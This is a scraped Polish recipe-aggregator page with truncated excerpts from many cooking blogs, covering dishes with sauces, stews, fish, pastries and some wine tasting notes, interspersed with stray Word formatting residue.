twardy, smażymy jedną stronę zamykamy w ten sposób sok w środku, potem drugą i tyle ;-) , zobaczycie będzie pyszny! ).  Kuskus robimy według przepisu na opakowaniu. Polewamy na talerzu, sosem z patelni. Sałatka z mozzarellą: - 2 garście rukoli - 1/2 sałaty masłowej - pomidorki koktajlowe - paczka - 1/2 cebulki czerwonej - 1 ogórek ze skórką - 1/2 czerwonej papryki - kilka kaparów - garść świeżej bazylii - garść świeżej

SMYKWKUCHNI
Warzywa z jarmużem i makaronem 199

Brokuł, jarmuż, marchewka i fasolka szparagowa – lekki makaronik z warzywami, na obiad lub kolację. Smaczna alternatywa dla makaronu z mięsem i sosem. 250 g cienkiego makaronu penne 1 brokuł 2 garście liści jarmużu 2 marchewki 1 garść fasolki szparagowej 2 ząbki czosnku sól i pieprz 3 łyżki oliwy - do smażenia Makaron ugotować wg przepisu na opakowaniu. Fasolkę ugotować w posolonej

Trzeci talerz
Przepis na sycylijski przysmak – crocchè 302

pożywna i łatwa w przyrządzeniu. Lubiana także w Neapolu, gdzie jest znana pod nazwą panzarotti, natomiast w Palermo jako cazzilli . Doskonała jako fast food oraz dodatek do mięs i sosów. Obieramy ziemniaki, kroimy je w niewielkie sześcienne kawałki. Gotujemy, a następnie odcedzamy. Odcedzone ziemniaki musimy ugnieść, wymieszać z kilkoma łyżeczkami oliwy z oliwek i dwoma jajkami. Dodajemy ser żółty (najlepiej

Bon Ton Italia
Tagliatelle w kremowym sosie z botwinką i cukinią. 277

Normal 0 21 MicrosoftInternetExplorer4 Ostatnio pojawiła się na rynku botwinka, więc bez wahania kupiłam ją! Wymyśliłam danie obiadowe dość oryginalne - zapraszam na Tagliatelle w kremowym sosie z botwinką i cukinią. Czytaj więcej

Ana Mari's world
Pljeskavica z domowymi chlebkami pita 182

dzisiaj kotlet bardziej jest zbliżony do odmiany bułgarskiej, bo do środka dodałam ajwaru, a oni swój nadziewają pastą pomidorową. Kotleta podałam w chlebkach pita z warzywnymi dodatkami, ajwarem i sosem jogurtowym. Idealna potrwa na długi weekend, grill i pikniki. Czytaj więcej

Bernika - moj kulinarny pamietnik
Makaron z serkiem mascarpone 182

Dodać pieczarki pokrojone w półplasterki. Smażyć chwilę , a następnie dołożyć  serek mascarpone. Wymieszać i chwilę smażyć na małym ogniu. Doprawić solą, pieprzem ,gałką muszkatołową.Ugotowany makaron połączyć z sosem , posypać natką pietruszki i parmezanem po czym wymieszać. Nakładać na talerze

O kuchni z uczuciem
drożdżówki z rabarbarem i budyniem 265

gorące ciasto nie wyrośnie. Do mleka dodajemy pokruszone drożdże,3 łyżki cukru i 6 łyżek mąki, wszystko dokładnie mieszamy do uzyskania jednolitej brązowej konsystencji. Rozczyn powinien mieć konsystencje gęstego sosu. Pozostałą mąkę przesypujemy do miski na środek kładziemy garnek z rozczynem i pozostawiamy go tak przez 10 minut do wyrośnięcia. W międzyczasie rozpuszczamy masło w garnku. Jeśli rozczyn zacznie "uciekać

zjem to blog kulinarny
Gulasz wieprzowy z karczochem 220

mięsa. -Jeśli  w czasie  gotowania  płyn   zbytnio wyparuje należy dolać gorącej wody lub bulionu  w zależności od tego jaki gęsty powinien być nasz sos. -Na koniec dodać karczochy , doprawić do smaku i posypać kuleczkami czerwonego pieprzu. -Gotowy gulasz przełożyć na talerze i podawać z pieczywem

Zakamarki mojej kuchni
Bułki z czosnkiem niedźwiedzim i czarnuszką 210

bułki wyrosną smarujemy je jajkiem i posypujemy czarnuszką.  Piekarnik rozgrzewamy do 180 C, czas pieczenia ok. 25 minut, aż  zrobią się rumiane. Bułeczki można podawać z sosem czosnkowym, który dodatkowo wzbogaci i wzmocni smak

Apetyczna babeczka
Deser lodowy oraz Lodowy Shake czekoladowy 209

49zł Lody są podane w formie 6 gotowych rozetek, które można bardzo ładnie i efektownie wyjąć z pudełka. Dzięki temu, że w swoim składnie zawierają kawałki ciasteczek brownie oraz sos czekoladowy można je podawać bez żadnych dodatków. To bardzo ekskluzywny rodzaj lodów, dlatego jego cena sugerowana nie jest zbyt niska. Jednak mnie udało się je kupić za jedyne 10,99zł

Z miłości do słodkości
Fasolka po bretońsku 468

miękkiej fasoli razem z obranym i posiekanym czosnkiem.  Po chwili dodajemy zawartość patelni.  Mieszamy, po ok 5 minutach dodajemy do garnka pokrojone pomidory z puszki wraz z sosem (możemy również użyć świeżych, sparzonych i podduszonych pomidorów).  Doprawiamy wedle smaku, dodajemy świeżą bazylię i pietruszkę. Ja czasem ucieram łyżeczkę świeżego imbiru, co powoduje dodatkowy efekt rozgrzania. Na koniec

IzaGotuje
Zupa Pomidorowa Czysta 259

drobno pokrojony czosnek, świeżą bazylię, pieprz. Gotuję na niewielkim ogniu 5-7 minut. W tym samym czasie zagotowuję bazę do zupy.  Przecieram pomidory. Do gotującego wywaru dodaję powstały sos z pomidorów. Sporządzam zawiesinę z mleka (lub wody) i mąki, podprawiam zupę.  Dodatkowo zagęszczam domowym koncentratem pomidorowym. Mieszam dokładnie i zagotowuję zupę. Kosztuję i przyprawiam wedle potrzeby. W wersji

IzaGotuje
Pasztet Wiosenny. 178

przełożyć do rondelka, dorzucić pokrojoną włoszczyznę,  paprykę z pieczarkami, podlać niewielką ilością wody.  Wszystko razem podlać niewielką ilością wody i dusić pod przykryciem. W powstałym z duszenia sosie, namoczyć suchy chleb/bułkę. Przez maszynkę do mielenia mięsa przepuścić uduszoną włoszczyznę, paprykę z pieczarkami, namoczone pieczywo,  mięso i wątróbkę.  Do zmielonej masy dodać jaja,łuskę babki

IzaGotuje
Zupa pomidorowa. Co na obiad ? Zupa pomidorowa z kluskami, zupa pomidorowa z ryżem czy czysta zupa pomidorowa? 228

Polecam również mój dziecinnie prosty a efektowny przepis na Kaczkę w Jabłkach. Klik W tym samym czasie zagotowuję bazę do zupy .   Przecieram pomidory. Do gotującego wywaru dodaję powstały sos z pomidorów. Sporządzam zawiesinę z mleka (lub wody) i mąki, podprawiam zupę.  Dodatkowo zagęszczam domowym koncentratem pomidorowym. Mieszam dokładnie i zagotowuję zupę. Kosztuję i przyprawiam wedle potrzeby. W wersji

IzaGotuje
Gulasz indyczy z grzybami leśnymi i kaszą. 195

dusimy. Gdy soki puszczą dorzucamy mięso, dodajemy sporą łyżeczkę papryki, czosnek staropolski, grzyby i zalewamy wywarem z moczonych grzybów. Wcześniej odsączone grzyby siekamy. Dusimy pod przykryciem do zgęstnienia sosu. Pod koniec można dodać jeszcze łyżeczkę mąki owsianej. Kaszę gotujemy w osolonej wodzie z łyżeczką masła. Cedzimy. Dodajemy soli, pieprzu do smaku i szczyptę gałki muszkatołowej. Dorzucamy ok 70ml śmietany

BaRepas
Sałatka "Waldorf" 214

Orzechy należy rozbić i oczyszczone z łupinek dodać do sałatki. Brzoskwinie (jeśli z puszki to należy je najpierw odsączyć z syropu) pokroić w kosteczkę i wrzucić do reszty składników. Sos do jogurtu przygotowujemy z jogurtu i przypraw. Jak już dobrze wszystko wymieszamy wlewamy do miski z selerem, owocami i orzechami i wszystko dokładnie mieszamy. Najlepiej smakuje po kilku godzinach stania

Jedzeniomania
Bananowe placuszki z miodem 203

jednej strony po czym przewracamy na drugą i również smażymy. Obydwie strony powinny być pięknie zezłocone i niesurowe :) Gdy placuszki są gotowe polewamy miodem, jogurtem, serkiem czy innym owocowym sosem i patrzymy jak znikają :) Smacznego

Jedzeniomania
Makaron z fistaszkami (wegańskie) 192

mung (ja używam takich w zalewie z Lidla) 2 ząbki czosnku 1/2 cebuli 12  pomidorków koktajlowych ostra papryka (ilość w zależności od upodobań)    5 łyżek sosu Teriyaki  olej z orzechów arachidowych   *** (może być zwykły jeśli nie mamy w domu, jednak warto zdobyć sezamowy) Przygotowanie  (20 minut): - gotujemy brokuła - siekamy drobniutko czosnek

Pora na pora i pomidora
Frytki z cukinii z sosem czosnkowym 198

Przepis na dodatek do dania głównego.  Pyszne i chrupiące frytki z cukinii w otrębach i chilli. Do tego sos czosnkowy. Pycha...                                        Składniki: 1 średnia cukinia 1 jajko 1 łyżeczka soli 1 łyżeczka ostrej papryki 1 duży czosnek (2 małe

Pora na pora i pomidora
Makaron z cukinii w pesto z cebulką, chili i czosnkiem (wegańskie) 176

papryczkę na oliwie ok 3-5 minut (do zarumienienia) mieszając aby się nie przypaliło - dokładamy makaron z cukinii i podsmażamy na małym ogniu mieszając tak aby przeszedł smakiem sosu - ok 5 minut Cena : ok 5 zł za całość SMACZNEGO

Pora na pora i pomidora
Zapiekanka jaglana z brokułami i wędzonym twarogiem, Vegus 237

kilkunastu minut. Smaczna zupa pomidorowa z mlekiem kokosowym Osssstra zupka z burakami, bardzo podobna do barszczu ukraińskiego Ryż brązowy z warzywami w mleku kokosowym i curry Pierogi orkiszowe z sosem słonecznikowym - genialne! Można wziąć pół porcji (na zdjęciu), co też zrobiłam, żeby zrobić miejsce na deser. Pyszne ciasto biszkoptowe z kawowym nadzieniem, mało słodkie, co akurat mi się podoba Millet

Qlinarnie i Qlinarnie
ziemniaki w jajku -- patate in uovo 201

Sos bazyliowo - pietruszkowy: • pół pęczka bazylii • pół pęczka zielonej pietruszki • sól odkwaszająca tutaj • szczypta cukru • 1/2 łyżeczki soku z cytryny • 1 ząbek czosnku • 150-200 ml gęstej śmietany Wykonanie: Oderwać listki bazylii i razem z pietruszką posiekac na drobno..Doprawić solą, pieprzem, cukrem, sokiem z cytryny, dodać przepołowiony ząbek czosnku na koniec wymieszać z gęstą śmietaną. Podawać z plastrami

w mojej kuchni
Wiosenna sałatka z kaszą jaglaną, jajkiem i łososiem 258

przed ugotowaniem, wg  tego przepisu ) - kilka kawałków łososia wędzonego na zimno  - jajko ugotowane na twardo - odrobina soku z cytryny - łyżka jogurtu i musztardy na sos  - nasiona słonecznika (opcjonalnie) Przygotowanie: Warzywa dokładnie umyć i osuszyć. Ogórek (u mnie ze skórką, ale można obrać jeśli ktoś lubi) pokroić w półplasterki, a rzodkiewkę -w cieniutkie plasterki. Marchew obrać przy pomocy

Kuchnia Ellie
Ziemniaki z kiełbasą, fasolką i pieczarkami w pomidowowym sosie. Szybkie danie jednogarnkowe. 424

fasolkę z puszki wraz z zalewą, plus 3-4 łyżki koncentratu pomidorowego. Na koniec do dania dolewam rozrobione mleko z mąką. Całość gotuję jeszcze kolejne 3-4 minuty aż sos zgęstnieje. Gotowe danie podaję na gorąco z ulubionym pieczywem. Smacznego

Kuchnia z widokiem na ogród
Gołąbki z kaszą jaglaną 196

Zalewamy bulionem, przykrywamy talerzem (dzięki temu gołąbki nie będą wypływać na wierzch i zachowają kształt) gotujemy przez 40 minut na wolnym ogniu. 5. Podajemy z ulubionym sosem

Szefowa kuchni
Rolada biszkoptowa z lodami i malinami 245

czekolada zastygnie, kroimy w plastry i zjadamy ze smakiem. Smacznego! *wpis zawiera lokowanie produktu Carte d’Or Chocolate Brownie przepyszne czekoladowe lody z kawałkami ciastka brownie, polane czekoladowym sosem. Deser ułożony jest w opakowaniu w postaci sześciu gotowych do nałożenia rozetek. Dzięki temu w zaledwie kilka sekund możemy cieszyć się w domu ekskluzywnym deserem rodem z najwspanialszych kawiarni – doskonałej jakości

Damsko-męskie spojrzenie na kuchnię
Surówka z czerwonej kapusty 529

Prosta, smaczna, tania surówka do obiadu czy grilla. Idealna do hamburgerów czy nadzienia do pity. Wystarczy trochę jogurtu jako bazy sosu i można ją jeść w nieskończoność. Czytaj więcej

Bernika - moj kulinarny pamietnik
Rogaliki z rabarbarem - idealne na wycieczkę 236

dzieci, można udawać, że to wszystko dla nich... Później wróciliśmy do domu, a z nami cała rodzina C. Był pyszny obiad (polędwiczki w trzech marynatach, pieczone ziemniaczki i domowy sos berneński), a na deser cała gama domowych lodów. Nikt nie wyszedł głodny, a i tak obiady mamy na kolejne trzy dni, a zanim zjemy te wszystkie lody, zrobi się lato

Pożeraczka, czyli raz adobrze
Kluseczki z kaszy jaglanej i buraczków 181

szklanki suchej kaszy jaglanej - 3 średniej wielkości buraczki  - 7 łyżek mąki żytniej razowej ( lub innej pełnoziarnistej) - 1 czubata łyżka mąki ziemniaczanej  - przyprawy ( czosnek, pieprz inne ulubione) - sos sojowy lub sól do smaku  Przygotowanie: Ugotować buraczki , zmielić blenderem lub maszynką do mięsa, połączyć z ugotowaną kaszą jaglaną i przyprawami, zagotować wodę w garnku, wrzucać uformowane kluseczki na kilka

zdrowa vege kuchnia
Rabarbar z jabłkami pod wegańską migdałową kruszonką 241

rabarbar i jabłka, równomiernie ją rozprowadzając. Postaw naczynie na blasze w piekarniku i piecz przez 40 minut, aż kruszonka nabierze złocistego koloru, a przy brzegach zacznie bulgotać różowy sos. Wyjmij, odstaw na 15 minut do przestygnięcia. Przełóż do miseczek i koniecznie polewaj migdałową śmietanką osłodzoną syropem klonowym. Smacznego! 6 porcji

Roślinna - blog wegański
Ćwiartka! z kurczaka.. ;) malowana gorczycą 204

pomysł, aby te ćwiartki pomalować: Olejem ze słodką papryką majerankiem, czosnkiem solą, papryczką chilli i.. Gorczycą :) Gorczyce po prostu uwielbiam! Ten chrupiący akcent, podoba mi się nawet w sosie pomidorowym!  Na 6 ćwiartek potrzebujemy: 100 ml oleju rzepakowego dwie łyżeczki słodkiej papryki w proszku łyżeczkę majeranku 2 ząbki czosnku kopiastą łyżeczkę soli 2 szczypty chilli w proszku

MamaOskarka
Różowe kokardki. 217

pomóc). Wody musi być tyle, aby przykrywała warzywa do połowy wysokości. Ugotowane warzywa blendujemy z serkiem, nie musi być dokładnie, doprawiamy bazylią i koperkiem. Ugotowany makaron mieszamy z sosem i podajemy maluszkowi. Post w ramach współpracy z firmą Piątnica .  Skomentuj

MamaOskarka
Grander z KFC 2338

znowu do mąki. Smażymy na głębokim oleju około 15 minut. Podajemy w opiekanej w tosterze bułce, chlebie, jak tylko Wam się podoba, u nas wersja z odrywanym chlebkiem, sosem jogurtowo czosnkowym, keczupem, kapustą pekińską i pomidorem. :) Smacznego! Skomentuj

MamaOskarka
Słoneczne kokardki z sosem 237

Następnie odlewamy połowę wody i blendujemy marchewkę z ziemniakiem, jeśli konsystencja jest zbyt gęsta można dodać trochę wody z gotowania warzyw. Na koniec dodajemy łyżkę serka naturalnego i mieszamy sos razem z makaronem. Smacznego! Skomentuj

MamaOskarka
Łopatka wieprzowa miodowa z szykowaru. 164

wody i wkładamy do bardzo zimnej lub na balkon ;) gdy ostygnie przekładamy szynkowar do lodówki na 12h. Po tym czasie możemy wyjąć wędlinę z szynkowaru :) Smakuje idealnie z ostrym sosem lub po prostu chrzanem i rukolą :) Smacznego :) Skomentuj

MamaOskarka
Makaron z sosem z indyka. Olej z pestek dyni Oleofarm. 194

noej układamy grono z poprzecinanych pomidorków koktajlowych i skrapiamy sałatkę olejem z pestek dyni, u nas olej z Oleofarm, pyszny i aromatyczny. Obok solidną porcję makaronu wymieszanego z sosem z indyka. Smacznego! Skomentuj

MamaOskarka
Placki ziemniaczane. Chrupiące i złociste cuda. 198

Cebulę kroimy bardzo drobno w kosteczke. Czosnek przeciskamy przez praskę. Wszystkie składniki z przepisu łączymy ze sobą. Smażymy na patelni z obu stron do zezłocenia. :) U nas podane z sosem jogurtowo pieprzowym.  Smacznego!  Skomentuj

MamaOskarka
Wstążki z pesto rukolowo - bazyliowym z amarantusem. 288

Makaron dobrej jakości smakuje wyśmienicie z najprostszymi sosami, właściwie to w nim tkwi sedno dania. Makaron musi być także odpowiednio ugotowany, dlatego zachęcam do korzystania z opisów producenta dotyczącego ich gotowania. My dziś na obiad serwujemy makaron Wstążki 2-jajeczne od Makarony Polskie . Przede wszystkim dla mnie ma znaczenie to, czy mój 10cio miesięczny Oskarek będzie mógł sobie z odpowiednim

MamaOskarka
Gulasz zapiekany w kajzerce 183

godziny. Paprykę umyć, usunąć gniazdo nasienne i pokroić w kostkę. Paprykę dodać do gulaszu i dusić jeszcze przez około 30 minut, aż papryka będzie miękka. Śmietanę wymieszać z odrobiną sosu i dodać ją do gulaszu. Gulasz doprawić i doprowadzić do wrzenia. Ściąć wierzchy kajzerek a następnie je wydrążyć. Piekarnik rozgrzać do temperatury 180 o C. Gulasz przełożyć do kajzerek, ustawić

Mama Gotuje
Wiosna w Jung & Lecker 129

Weißburgunder Bischofsberg Spatlese trocken 2012 z winnicy Wengerter. W nosie i w ustach wyczuwalne aromaty gruszki, jabłka, pigwy. Poważniejsze lekko oleiste wino. Do grillowanych ryb, białych mięs w zawiesistych sosach. Riesling Kabinett 2012 z winnicy Melsheimer W nosie wyczuwalne delikatne nuty naftowe oraz papaja, mango i jabłko. Usta powściągliwe. Bardzo delikatnie słodkie. Pić samo w ciepłe letnie wieczory na trasie

królestwo garów
Soczewicowy pasztet z żurawiną 276

zielonej soczewicy (200 g suchej) szklanka ugotowanej kaszy jaglanej (100 g suchej) 100 ml oleju rzepakowego + 2-3 łyżki do smażenia duża cebula 3 łyżki suszonej żurawiny 3 łyżki sosu sojowego 2 liście laurowe 2 ziarna ziela angielskiego łyżeczka majeranku 0/5 łyżeczki lubczyku szczypta gałki muszkatołowej sól i pieprz do smaku Pokrojoną w kosteczkę cebulę podsmażamy na oleju wraz

Mienta blog
Pasta kanapkowa tuńczyk & avocado 235

prosta do wykonania, a połączenie suchego tuńczyka z maślanym, tłustym awaocado smakuje rewelacyjnie. Jednolitą konsystencję pasty doskonale przełamują ziarenka chrupiącego czerwonego pieprzu.  Polecam! Składniki : 1 puszka tuńczyka w sosie własnym 1 awocado czerwony pieprz sól sok z cytryny lub limonki szczypiorek Wykonanie: tuńczyka odsączyć z zalewy awocado przeciąć na wzdłuż pół, przekręcić i usunąć pestkę. Miąższ przełożyć do miseczki

Gotuj zdrowo!Guten Appetit!
Marynowane bakłażany z papryką 263

kochacie bakłażana to teraz na pewno się w nim zakochacie, jeśli przygotujecie te marynowane bakłażany i marynowaną paprykę Na blogu również znajdziecie inne przepisy na bakłażana: Bakłażan w sosie jogurtowym , Pasta z bakłażana i pomidorów , Cannelloni – zapiekanka z bakłażana , Bakłażan smażony i inne… Marynowane bakłażany z papryką Składniki: 2 bakłażany 2 czerwone papryki 2-3 ząbki czosnku

UgotujmyTo.pl
Zapiekanka rybna z ryżem 197

dziękuję. Wykonanie Żaroodporne naczynie wysmarować olejem. Filety rozdrobnić i ułożyć na dnie naczynia. Następnie ułożyć ugotowany ryż. Śmietanę wymieszać z przecierem pomidorowym i natką pietruszki, doprawić solą i pieprzem. Sosem polać ryż odczekać aż przesiąknie do ryby ( ewentualnie delikatnie przemieszać ryż ). Na wierzch wyłożyć kukurydzę oraz cieniutkie wiórki masła. Jajko roztrzepać z mlekiem i zalać całą zapiekankę. Piekarnik nagrzać

Świat Smaku
Surówka z buraków II, Česká Hospoda 245

Robi się ją bardzo szybko (bez gotowania buraków, a smakuje świetnie na surowo!), ale trzeba przygotować co najmniej 2-3 godziny przed podaniem. Do tego jaja w sosie koperkowym , puree ziemniaczane i szybki obiad gotowy. P.S. Przepis na surówkę pochodzi od mojej mamy:). Składniki: 3-4 małe buraki 1 duże jabłko kilka łyżek jogurtu naturalnego chrzan (surowy, starty

Qlinarnie i Qlinarnie
Kaczka duszona w czerwonym winie z suszonymi śliwkami 212

zmielony pieprz. Wymieszaj, zmniejsz ogień i duś przez około godzinę, od czasu do czasu obracając mięso w rondlu. Gdy mięso jest już miękkie wyjmij je z rondla. Jeżeli sos jest zbyt rzadki, gotuj go na dużym ogniu, aż zredukuje się do ulubionej konsystencji. Następnie możesz go zblendować do uzyskania jednolitej konsystencji. Smacznego, Anulla

Fabryka pomysłów
Biała kiełbasa pieczona w piwie 211

Pyszny obiadek z białą kiełbaską w roli głównej. Kiełbaska zapieczona jest w piwie pod warstwą musztardy. Do tego gotowane ziemniaczki, buraczki i sos jogurtowo-majonezowy chrzanowy na zimno. Ależ to była wyżerka. składniki: 4-5 szt białych surowych kiełbasek 3 łyżki musztardy delikatesowej lub francuskiej ok 200 ml piwa 2 listki laurowe 1 łyżka majeranku 1 duża cebula Cebulę obrać

Monia miesza i gotuje
Karp w marynacie 181

hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-fareast-language:EN-US;} polecam inne dania z rybą w roli głównej: karp smażony karp w szarym sosie karp w galarecie jesiotr w galarecie ryba w pomidorach   oraz dania wigilijne Wigilia w królestwie garów   zastawa

królestwo garów
Jesiotr w galarecie, 177

family:Calibri; mso-hansi-theme-font:minor-latin; mso-fareast-language:EN-US;} polecam inne dania z rybą w roli głównej: karp smażony karp w marynacie karp w szarym sosie karp w galarecie ryba w pomidorach oraz dania wigilijne Wigilia w królestwie garów

królestwo garów
Wigilia w królestwie garów 154

jabłkami śledź pod szubą śledź z koperkiem smażone śledzie marynowane śledzie solone smażone uszka z grzybami dorsz faszerowany na słodko karp smażony karp w marynacie karp w szarym sosie karp w galarecie jesiotr w galarecie Normal 0 21 false false false PL X-NONE X-NONE /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle

królestwo garów
dania z gęsi 146

cydrze   pierś gęsi w winie pierś z gęsi z czereśniami      pierś z gęsi z figami pierś z gęsi z grilla piersi gęsie smażone, w sosie jabłkowym   gęś faszerowana kapustą kiszoną i śliwkami gęś pieczona gęś pieczona - biała kołudzka gęsie nogi konfitowane, w owocach suszonych gęsie nogi w kadarce   uda gęsi w czerwonej kapuście pierś

królestwo garów
Boczek pieczony w niskiej temperaturze 170

Boczek mocno zwinąć i obwiązać nitką. Ułożyć na blasze do pieczenia, posmarować tłuszczem ( smalec, olej) i wstawić do piekarnika nagrzanego do 80 stopni na 11 godzin. Mięso polać wytworzonym sosem i zwiększyć temperaturę piekarnika do 180 stopni i piec aż mięso wewnątrz osiągnie 72 stopnie – około 30 minut. Najlepszy na zimno. polecam również boczekpieczony   zastawa

królestwo garów
Emilio Moro w Casa Pablo 115

jest gładki i idealnie gęsty. Wino bardzo skoncentrowane o długim bardzo przyjemnym finiszu. Będzie doskonale pasować do smażonych roladek z ciasta Won-Ton wypełnionych mięsem z ogona wołu i sosem Pedro Ximenez DeSabor jest również importerem hiszpańskich szynek, wędlin, serów, oliwek oraz oliwy I właśnie kilka rodzajów oliw mieliśmy również okazję zdegustować.    Almazara "El Tendre"to firma która

królestwo garów
dziczyzna 178

udziec z sarny z sosem z grzybów comber z sarny   comber z jelenia bitki z karkówki z jelenia    potrawka z jelenia po niemiecku ragout z jelenia   karczek z dzika   schab z dzika z grzybami schab z dzika na jałowcu wędzony schab z dzika na sianie schab z dzika gołąbki z dzika   pieczona szynka

królestwo garów
Pyzy - warszawskie 222

dziurką lub podłużne. Gotować około 10 minut w osolonej wodzie. Potem istnieją dwie wzajemnie zwalczające się frakcje – jedni wolą pyzy „z wody” drudzy odsmażane na patelni. Podałam z sosem grzybowym.  zastawa

królestwo garów
Monte del Fra z Veneto 150

cynamonu oraz suszonych owoców i miodu. W ustach wyczuwamy słodycz oraz taniny, które są bardzo ładnie zaokrąglone i ciepłe. Wino dobrze zrównoważone i eleganckie. Idealnie pasujące do ragu (sos boloński i neapolitański) . Wspaniałe na obecną porę roku do mięs pieczonych, gulaszów, mięs duszonych i innych tłustych „zimowych” potraw. Według Mariki idealne również do potraw z koniny. Bardzo dobre wino

królestwo garów
Schab z dzika na sianie 135

Termometr należy włożyć przed pieczeniem. Gdy wskaże 72 stopnie, mięso wyjmujemy i odstawiamy na 5 minut aby odpoczęło. Temperatura wewnątrz dojdzie do 75 stopni. Schab pokroić w plastry, polać sosem, podawać z gruszkami. Gruszki przed podaniem podgrzać. Podałam z chipsami z topinambura. zastawa

królestwo garów
Łosoś z burakiem i jajkiem przepiórczym 176

jajek przepiórczych, ognista mieszanka przypraw, Syrop z granatów wymieszać z miodem. Buraka umyć, ugotować al dente. Lekko przestudzić, obrać. Pokroić w cienkie plasterki a następnie paseczki. Wymieszać z sosem. Odstawić do ostygnięcia. Łososia pokroić w cienkie paski. Buraka osączyć i wymieszać z łososiem. Ugotować jajka przepiórcze - rozbić – szerszy koniec jajka, ściąć nożykiem – zawartość wylać do miseczki. Jajka wlewać do wody

królestwo garów
Pianka pomarańczowa 118

ubijać wlewając powoli mleko. Ubijać aż do wystudzenia jej. Ubijając dodać sok z limonki. Otrzymaną masę przelać do naczynia i wstawić do lodówki na co najmniej godzinę. Podałam z sosem z żurawiny.   zastawa

królestwo garów
Galantyna z kurczaka 290

przyprawy, zalać zimną wodą i ugotować bulion. Wątróbkę umyć, oczyścić, osuszyć. Smażyć na rozgrzanym tłuszczu. W środku wątróbka musi być różowa. Pod koniec smażenia wlać sherry i zagotować. Sos ze smażenia wątróbki, kawałki mięsa z ud, śmietanę, tymianek zmiksować. Doprawić solą. Wątróbkę pokroić na kawałki. Foremkę keksówkę (około 19x10 cm) wyłożyć papierem do pieczenia. Skórę z kurczaka ułożyć w formie

królestwo garów
Wątróbka cielęca smażona 117

jeszcze chwilę. Wątróbka w środku ma być różowa a z wierzchu ładnie przyrumieniona. Podawać z cebulką duszoną lub smażoną. Ja podałam ze smażonymi w głębokim tłuszczu krążkami cebuli i sosem z czerwonej porzeczki.   zastawa

królestwo garów
Czerwone curry z kurczakiem 204

zamieszać. Wlać bulion, pomidory i przykryć, gotować na małym ogniu 20 minut aż mięso będzie miękkie. Dodać śmietanę, pastę tamaryndową oraz barwnik spożywczy. Gotować około 15 -20 minut aż sos zgęstnieje. Podałam z ryżem. Nie jestem przekonana do barwnika, dodałam ale nie wiem czy dobrze zrobiłam. Kolor wyszedł troszkę dziwny. Może powinien być inny barwnik, w innej ilości..... Ale smakowało

królestwo garów
Kluski kładzione ziemniaczane 141

przykryć, gotować 1 -2 minuty od zagotowania, uważać aby nie przegotować. Nie wkładać naraz za dużo klusek, powinny swobodnie pływać.  Kluski można podawać do dań mięsnych, z różnymi sosami lub na słodko.   zastawa

królestwo garów
Wina do potraw dobierają Michał Jancik i Paweł Białęcki ... 149

Tardiva 2011 Tu nie miałam swojego faworyta. Oba wina były dobrze dobrane. Gdybym musiała wybrać jedno, miałabym trudny orzech do zgryzienia..... III. Pieczona pierś z  kaczki barbaryjskiej z sosem śliwkowo - imbirowym. Jak dla mnie świetnie zrównoważane smaki, delikatna nuta imbiru podkreślała "słodycz" kaczki. MJ - Philippe de Bois d`Arnault Rully Rouge La Combe 2011 PB - Weingut Max Ferd. Richter

królestwo garów
fusilli z polędwiczką wieprzową 131

makaronu fusilli, 300 g polędwiczki wieprzowej, 4 łyżki sosu sojowego Kikkoman 1 cebula, 1 ząbek czosnku, 150 g jarmużu, 1 żółte peperoni, 1 czerwona papryka ramiro, oliwa, sól, cukier Polędwiczkę pokroić w plastry grubości około 0,5 cm a następnie każdy plasterek wzdłuż na 4 paski. Paprykę pokroić w paski wielkości pasków polędwiczki. Jarmuż umyć, zblanszować w lekko osolonej

królestwo garów
Comber z jelenia na sianie 193

stopni na około 30 minut, aż mięso osiągnie wewnątrz temperaturę 62 stopni.    Po wyjęciu z piekarnika mięso odstawić na 5 minut aby odpoczęło. Podałam z sosem z czerwonego wytrawnego wina. Comber jelenia ze sklepu dziki trop.   zastawa

królestwo garów
Marqués de Castilla – wina na lato. 137

bardzo miła niespodzianka. Wino ma dość intensywny aromat (gruszka, liczi, owoce cytrusowe). Jest pełne i dość mineralne. Przyjazne. Pić zdecydowanie schłodzone do owoców morza, sałatek, kurczaka w lekkich sosach.    Marques de Castilla Sauvignon Blanc Chardonnay Blend dwóch popularnych szczepów. Efekt to aromatyczne, sympatyczne nieskomplikowane wino. Pachnie cytrusami, morelami agrestem. Jest świeże i soczyste z lekką nieagresywną kwasowością. Schłodzone

królestwo garów
Stek z rekina I 135

marynaty, osuszyć. Smażyć na rozgrzanej patelni, na oliwie, po około 3 minuty z każdej strony. Podałam z zieloną fasolką szparagową, podsmażoną na oliwie z masłem, z chilli i sosem sojowym, posypane posiekanymi migdałami.  polecam również  stek z rekina II   Do steka z rekina polecam Gewürztraminer halbtrocken z winnicy Rappenhof. Wino wytwarzane ze starego, klasycznego szczepu winogron. Różano

królestwo garów
grillowanie 174

marynaty i sosy pstrąg  z grilla    pstrąg z pieczarkami   stek z tuńczyka pierś z kurczaka z serem z pleśnią niebieską pałeczki z kurczaka szaszłyki z kurczaka udka z kurczaka roladki z indyka  pierś kaczki pierś z gęsi  kaczka z grilla T-bone z grilla  górka cielęca z grilla żeberka   karkówka karkówka

królestwo garów
Pstrąg z pieczarkami, z grilla 116

pół, posmarować masłem, położyć dwa plasterki cytryny, na nich rybę, na wierzchu ryby położyć plasterek masła. Rybę zawinąć w folię tak, aby nie mógł w trakcie grillowania wyciekać sos. Rybę ułożyć na grillu, grillować około 25 – 30 minut. Tak przygotowana rybę można upiec w piekarniku. zastawa

królestwo garów
Kapłon na dziko 213

obrączkę. Ponieważ pierwszy raz kupiłam kapłona i to z rasy zielononóżki postanowiłam nie kombinować, tylko przygotować go według starego przepisu. Sięgnęłam do Kucharki Litewskiej Wincenty Zawadzkiej. Kapłon z sosem jałowcowym. 1 kapłon,   farsz: 1/2 łyżeczki jagód jałowca, 2 łyżki masła, 3/4 szklanki bułki tartej, 3 jajka, 1/4 łyżeczki jałowca, 2 łyżki masła, sól Kapłona oczyścić, odciąć głowę, nogi, końcówki

królestwo garów
Dorada pieczona z chrzanem 112

stron do zrumienienia (około 5 minut). Śmietanę wymieszać z żółtkiem, dodać chrzan, wymieszać. Doprawić solą, pieprzem i sokiem z cytryny. Naczynie do zapiekania wysmarować oliwą, ułożyć rybę, polać sosem. Wstawić do piekarnika nagrzanego do 180 stopni na 25 - 35 minut. Aby sprawdzić czy ryba jest upieczona należy metalowym szpikulcem ją nakłuć. Jeżeli szpikulec wyjęty po 10 sekundach będzie ciepły oznacza

królestwo garów
Lunch w Tamce 43 160

